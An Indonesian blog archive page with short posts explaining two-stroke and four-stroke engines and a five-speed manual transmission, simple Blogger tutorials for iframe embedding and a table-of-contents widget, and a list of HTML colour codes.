Untuk lebih jelasnya kalian pelajari dulu mesin 4 tak agar lebih mudah belajar dalam pembahasan mesin 2 tak



Dalam motor bensin 2 tak, piston melakukan 2 kali langkah kerja dalam 1 kali langkah usaha antara lain :

1. Langkah kompresi dan langkah hisap
Pada langkah ini dalam motor 2 tak terjadi 2 aksi berbeda yang terjadi secara bersamaan yaitu aksi kompresi yang terjadi pada ruang silinder atau pada bagian atas dari piston dan aksi hisap yang terjadi pada ruang engkol atau pada bagian bawah piston.
Yang terjadi dalam langkah ini adalah :

-Piston bergerak dari TMB (titik mati bawah) ke TMA (titik mati atas).
-Pada saat saluran pembiasan tertutup mulai dilakukan langkah kompresi pada ruang silinder.
-Pada saat saluran hisap membuka maka campuran udara dan bensin akan masuk ke dalam ruang engkol.

2. Langkah usaha dan buang
Dan pada langkah ini terjadi langkah usaha dan buang yang terjadi pada saat yang tidak bersamaan, jadi langkah usaha dahulu barulah setelah saluran pembiasan dan saluran buang terbuka terjadi langkah buang.
Yang terjadi dalam langkah ini adalah :
-Sebelum piston mencapai TMA (titik mati atas), busi akan memercikkan bunga api listrik sehingga campuran udara dan bahan bakar akar terbakar dan menyebabkan ledakan maka timbullah daya
dorong terhadap piston, sehingga piston akan bergerak dari TMA (titik mati atas) ke TMB (titik mati bawah).
-Sesaat setelah saluran hisap tertutup dan saluran bias serta saluran buang membuka maka campuran udara dan bahan bakar yang berada di ruang engkol akan mendorong gas sisa hasil pembakaran melalui saluran bias ke saluran.

Mesin 2 tak harus memakai oli pelumas samping selain pelumas mesin hal ini di sebabkan karena putaran yang dihasilkan lebih cepat. Karena hanya membutuhkan 2 langkah kerja mesin 2 lebih cepat/kencang dari 4 tak hal ini menyebabkan mesin 2 tak lebih berisik, dan boros bahan bakar, jadi tidak ada mesin yang sempurna pasti ada kekurangannya. Oke jadi udah ngerti kan? Semoga bermanfaat ilmunya. Sekian.

Cara Kerja Mesin 4 Tak Bensin

Kalau kalian anak SMK jurusan otomotif pasti akan belajar cara kerja mesin 4 tak pada pelajaran Pendidikan Dasar Teknik Mesin (PDTM). Tapi bukan cuma itu aja, pasti kalian akan belajar mesin lain juga seperti motor listrik AC/DC, mesin diesel, mesin 2 tak, dll. Banyak banget yang akan kalian pelajari tentang konversi energi.



Karburator                        : Berfungsi membuat bahan bakar menjdi kabut.
TMA (Titik Mati Atas)      : Adalah titik henti piston bergerak ke atas.
TMB (Titik Mati Bawah    : Adalah titik henti piston bergerak kebawah.

1. Langkah Hisap
Pada gerak hisap, campuran udara dan bensin akan terhisap dari karburator melawati katup masuk menuju silinder. Hal ini terjadi sebab tekanan di dalam lebih rendah dari tekanan udara luar. Piston dalam gerakan turun dari TMA ke TMB menyebabkan kehampaan di dalam silinder, dengan demikian campuran udara bensin dihisap ke dalam. Selama langkah piston ini, katup hisap akan membuka dan katup buang menutup.

2. Langkah Kompresi
Dalam gerakan ini campuran udara dan bensin yang ada dalam silinder dikompres/dimampatkan oleh piston yang bergerak ke atas dari TMB ke TMA. Kedua katup hisap dan katup buang akan menutup selama gerakan tekanan, dan suhu campuran udara dan bensin menjadi naik.

3. Langkah Kerja

Dalam langkah ini kedua katup tertutup. Bila campuran udara dan bensin yang terkompresi dalam silinder terkena percikan listrik dari busi, maka terjadi ledakan dalam silinder sehingga tenaga yang kuat ini akan mendorong piston dari TMA  ke TMB. Tenaga inilah yang dimanfaatkan untuk memutar roda gila.

4. Langkah Buang

Dalam langkah ini piston dari TMB naik kembali ke TMA untuk mendorong sisa gas-gas yang telah terbakar dari silinder melewati katup buang menuju knalpot. Selama gerak ini kerja katup buang saja yang terbuka. Bila piston mencapai TMA sesudah melakukan pekerjaan seperti di atas, maka piston akan kembali pada keadaan untuk memulai gerak hisap.

KARAKTER MESIN
Dalam komposisi displacement mesin yang sama, tiap mesin memiliki karakter yang berbeda-beda, tergantung dari besaran diameter piston dan panjang langkah.
- Mesin OverBore     : Langkah lebih kecil daripada diameter piston.
- Mesin Square         :Langkah dan diameter piston sama.
- Mesin OverStroke  :Langkah lebih besar daripada diameter piston.

Dibanding dengan mesin langkah panjang dan square, mesin over bore lebih mudah untuk membuat kecepatan mesin bertambah dan tenaga yang dihasilkan bisa lebih besar. Jika kecepatan mesin rata, kecepatan piston dapat dibuat lebih rendah juga hambatan gesek dapat dikurangi. Pada mesin balap desain mesin ini lebih sering unggul. Oleh karenanya modifikasi BoreUp , atau memperbesar diameter piston lebih mudah menciptakan kecepatan dan tenaga dibanding StrokeUp.


Demikian lah pejelasan singkat ttg cara kerja mesin 4 tak.

Cara Kerja Transmisi Manual 5 Kecepatan

Posisi Netral (N)
Saat posisi netral tenaga dari mesin tidak diteruskan ke poros out put, karena sincromesh dalam keadaan bebas atau tidak terhubung dengan roda gigi tingkat.


Posisi 1
Jika tuas ditarik ke belakang maka gear selection fork akan menghubungkan unit sincromesh untuk berkaitan dengan gigi tingkat 1. Posisi 1 akan menghasilkan putaran yang lambat tetapi momen pada poros out put besar.


Posisi 2
Tuas didorong ke depan menggerakkan gear selector fork sehingga unit sincromesh berhubungan dengan roda gigi tingkat no 2. Posisi 2 putaran poros out put lebih cepat dibanding pada posisi 1.


Posisi 3
Jika tuas ditarik ke belakang maka gear selection fork akan menghubungkan unit sincromesh untuk berkaitan dengan gigi tingkat 3. Posisi 3 akan menghasilkan putaran yang cepat dibanding posisi 2.


Posisi 4
Tuas didorong ke depan menggerakkan gear selector fork sehingga unit sincromesh berhubungan dengan roda gigi tingkat no 4. Posisi 4 putaran poros out put lebih cepat dibanding pada posisi 3.


Posisi 5
Tuas ditarik ke belakang menggerakkan gear selection fork sehingga unit sincromesh berhubungan dengan roda no 5. Transmisi pada posisi gigi lima kecepatanya paling tinggi tetapi momen yang dihasilkan pada poros out put paling kecil.


Posisi R (Reverse)
Tuas didorong ke depan menggerakkan gear selection fork sehingga unit sincromesh berhubungan dengan roda gigi R. Antara roda gigi R dan roda gigi pembanding dipasangkan roda gigi idel (idler gear) yang menyebabkan putaran poros input berlawanan arah dengan poros out put.



Berikut simulasi transmisi

Cara Menampilkan Halaman Website Pada Posting Blog

Elemen iframe digunakan untuk menampilkan sebuah halaman web di dalam sebuah halaman web.

1. Masuk ke Dasbor Blogger
2. Pilih Buat Entri Baru
3. Pilih Compose saat menulis isi atau pembahasan pada posting anda
3. Pilih HTML saat memasukkan script berikut

<center><iframe src="http://williamsarfat.blogspot.com/" width="500" height="200"></iframe></center><a href="http://williamsarfat.blogspot.com/" target="_blank"></a>

 4. Ganti http://williamsarfat.blogspot.com/ dengan alamat website yang akan ditampilkan, atur ukuran dengan merubah angka panjang dan lebar.
Contoh:

Cara Membuat Daftar Isi Pada Blog

Berikut ini tutorial cara membuat daftar isi pada blog:

1. Masuk ke Dasbor Blogger
2. Pilih Laman
3. Pilih Laman Baru
4. Pilih Laman Kosong

5. Klik HTML 

6. Masukkan script berikut:

<script src="https://sites.google.com/site/antahberantah1996/javascript/Daftar%20Isi.js"></script><script src="http://williamsarfat.blogspot.com/feeds/posts/default?max-results=900&amp;alt=json-in-script&amp;callback=loadtoc"></script><a href="http://williamsarfat.blogspot.com/" rel="dofollow" target="_blank"></a>

7. Ganti  http://williamsarfat.blogspot.com/ dengan alamat blog/website anda
8. Beri judul laman anda lalu publikasikan.
Demikianlah tutorial cara membuat daftar isi pada blog.

Contoh:

Daftar Kode Warna Pada HTML

Nama warna didukung oleh semua browser, 147 nama warna didefinisikan dalam HTML dan CSS (17 warna standar ditambah 130 warna lebih).
Berikut ini daftar nama dan kode warna pada HTML bersama dengan nilai-nilai heksadesimal mereka.
Silahkan digunakan.

Color Name	HEX	Color	Shades	Mix
AliceBlue	#F0F8FF		Shades	Mix
AntiqueWhite	#FAEBD7		Shades	Mix
Aqua	#00FFFF		Shades	Mix
Aquamarine	#7FFFD4		Shades	Mix
Azure	#F0FFFF		Shades	Mix
Beige	#F5F5DC		Shades	Mix
Bisque	#FFE4C4		Shades	Mix
Black	#000000		Shades	Mix
BlanchedAlmond	#FFEBCD		Shades	Mix
Blue	#0000FF		Shades	Mix
BlueViolet	#8A2BE2		Shades	Mix
Brown	#A52A2A		Shades	Mix
BurlyWood	#DEB887		Shades	Mix
CadetBlue	#5F9EA0		Shades	Mix
Chartreuse	#7FFF00		Shades	Mix
Chocolate	#D2691E		Shades	Mix
Coral	#FF7F50		Shades	Mix
CornflowerBlue	#6495ED		Shades	Mix
Cornsilk	#FFF8DC		Shades	Mix
Crimson	#DC143C		Shades	Mix
Cyan	#00FFFF		Shades	Mix
DarkBlue	#00008B		Shades	Mix
DarkCyan	#008B8B		Shades	Mix
DarkGoldenRod	#B8860B		Shades	Mix
DarkGray	#A9A9A9		Shades	Mix
DarkGrey	#A9A9A9		Shades	Mix
DarkGreen	#006400		Shades	Mix
DarkKhaki	#BDB76B		Shades	Mix
DarkMagenta	#8B008B		Shades	Mix
DarkOliveGreen	#556B2F		Shades	Mix
Darkorange	#FF8C00		Shades	Mix
DarkOrchid	#9932CC		Shades	Mix
DarkRed	#8B0000		Shades	Mix
DarkSalmon	#E9967A		Shades	Mix
DarkSeaGreen	#8FBC8F		Shades	Mix
DarkSlateBlue	#483D8B		Shades	Mix
DarkSlateGray	#2F4F4F		Shades	Mix
DarkSlateGrey	#2F4F4F		Shades	Mix
DarkTurquoise	#00CED1		Shades	Mix
DarkViolet	#9400D3		Shades	Mix
DeepPink	#FF1493		Shades	Mix
DeepSkyBlue	#00BFFF		Shades	Mix
DimGray	#696969		Shades	Mix
DimGrey	#696969		Shades	Mix
DodgerBlue	#1E90FF		Shades	Mix
FireBrick	#B22222		Shades	Mix
FloralWhite	#FFFAF0		Shades	Mix
ForestGreen	#228B22		Shades	Mix
Fuchsia	#FF00FF		Shades	Mix
Gainsboro	#DCDCDC		Shades	Mix
GhostWhite	#F8F8FF		Shades	Mix
Gold	#FFD700		Shades	Mix
GoldenRod	#DAA520		Shades	Mix
Gray	#808080		Shades	Mix
Grey	#808080		Shades	Mix
Green	#008000		Shades	Mix
GreenYellow	#ADFF2F		Shades	Mix
HoneyDew	#F0FFF0		Shades	Mix
HotPink	#FF69B4		Shades	Mix
IndianRed	#CD5C5C		Shades	Mix
Indigo	#4B0082		Shades	Mix
Ivory	#FFFFF0		Shades	Mix
Khaki	#F0E68C		Shades	Mix
Lavender	#E6E6FA		Shades	Mix
LavenderBlush	#FFF0F5		Shades	Mix
LawnGreen	#7CFC00		Shades	Mix
LemonChiffon	#FFFACD		Shades	Mix
LightBlue	#ADD8E6		Shades	Mix
LightCoral	#F08080		Shades	Mix
LightCyan	#E0FFFF		Shades	Mix
LightGoldenRodYellow	#FAFAD2		Shades	Mix
LightGray	#D3D3D3		Shades	Mix
LightGrey	#D3D3D3		Shades	Mix
LightGreen	#90EE90		Shades	Mix
LightPink	#FFB6C1		Shades	Mix
LightSalmon	#FFA07A		Shades	Mix
LightSeaGreen	#20B2AA		Shades	Mix
LightSkyBlue	#87CEFA		Shades	Mix
LightSlateGray	#778899		Shades	Mix
LightSlateGrey	#778899		Shades	Mix
LightSteelBlue	#B0C4DE		Shades	Mix
LightYellow	#FFFFE0		Shades	Mix
Lime	#00FF00		Shades	Mix
LimeGreen	#32CD32		Shades	Mix
Linen	#FAF0E6		Shades	Mix
Magenta	#FF00FF		Shades	Mix
Maroon	#800000		Shades	Mix
MediumAquaMarine	#66CDAA		Shades	Mix
MediumBlue	#0000CD		Shades	Mix
MediumOrchid	#BA55D3		Shades	Mix
MediumPurple	#9370DB		Shades	Mix
MediumSeaGreen	#3CB371		Shades	Mix
MediumSlateBlue	#7B68EE		Shades	Mix
MediumSpringGreen	#00FA9A		Shades	Mix
MediumTurquoise	#48D1CC		Shades	Mix
MediumVioletRed	#C71585		Shades	Mix
MidnightBlue	#191970		Shades	Mix
MintCream	#F5FFFA		Shades	Mix
MistyRose	#FFE4E1		Shades	Mix
Moccasin	#FFE4B5		Shades	Mix
NavajoWhite	#FFDEAD		Shades	Mix
Navy	#000080		Shades	Mix
OldLace	#FDF5E6		Shades	Mix
Olive	#808000		Shades	Mix
OliveDrab	#6B8E23		Shades	Mix
Orange	#FFA500		Shades	Mix
OrangeRed	#FF4500		Shades	Mix
Orchid	#DA70D6		Shades	Mix
PaleGoldenRod	#EEE8AA		Shades	Mix
PaleGreen	#98FB98		Shades	Mix
PaleTurquoise	#AFEEEE		Shades	Mix
PaleVioletRed	#DB7093		Shades	Mix
PapayaWhip	#FFEFD5		Shades	Mix
PeachPuff	#FFDAB9		Shades	Mix
Peru	#CD853F		Shades	Mix
Pink	#FFC0CB		Shades	Mix
Plum	#DDA0DD		Shades	Mix
PowderBlue	#B0E0E6		Shades	Mix
Purple	#800080		Shades	Mix
Red	#FF0000		Shades	Mix
RosyBrown	#BC8F8F		Shades	Mix
RoyalBlue	#4169E1		Shades	Mix
SaddleBrown	#8B4513		Shades	Mix
Salmon	#FA8072		Shades	Mix
SandyBrown	#F4A460		Shades	Mix
SeaGreen	#2E8B57		Shades	Mix
SeaShell	#FFF5EE		Shades	Mix
Sienna	#A0522D		Shades	Mix
Silver	#C0C0C0		Shades	Mix
SkyBlue	#87CEEB		Shades	Mix
SlateBlue	#6A5ACD		Shades	Mix
SlateGray	#708090		Shades	Mix
SlateGrey	#708090		Shades	Mix
Snow	#FFFAFA		Shades	Mix
SpringGreen	#00FF7F		Shades	Mix
SteelBlue	#4682B4		Shades	Mix
Tan	#D2B48C		Shades	Mix
Teal	#008080		Shades	Mix
Thistle	#D8BFD8		Shades	Mix
Tomato	#FF6347		Shades	Mix
Turquoise	#40E0D0		Shades	Mix
Violet	#EE82EE		Shades	Mix
Wheat	#F5DEB3		Shades	Mix
White	#FFFFFF		Shades	Mix
WhiteSmoke	#F5F5F5		Shades	Mix
Yellow	#FFFF00		Shades	Mix
YellowGreen	#9ACD32		Shades	Mix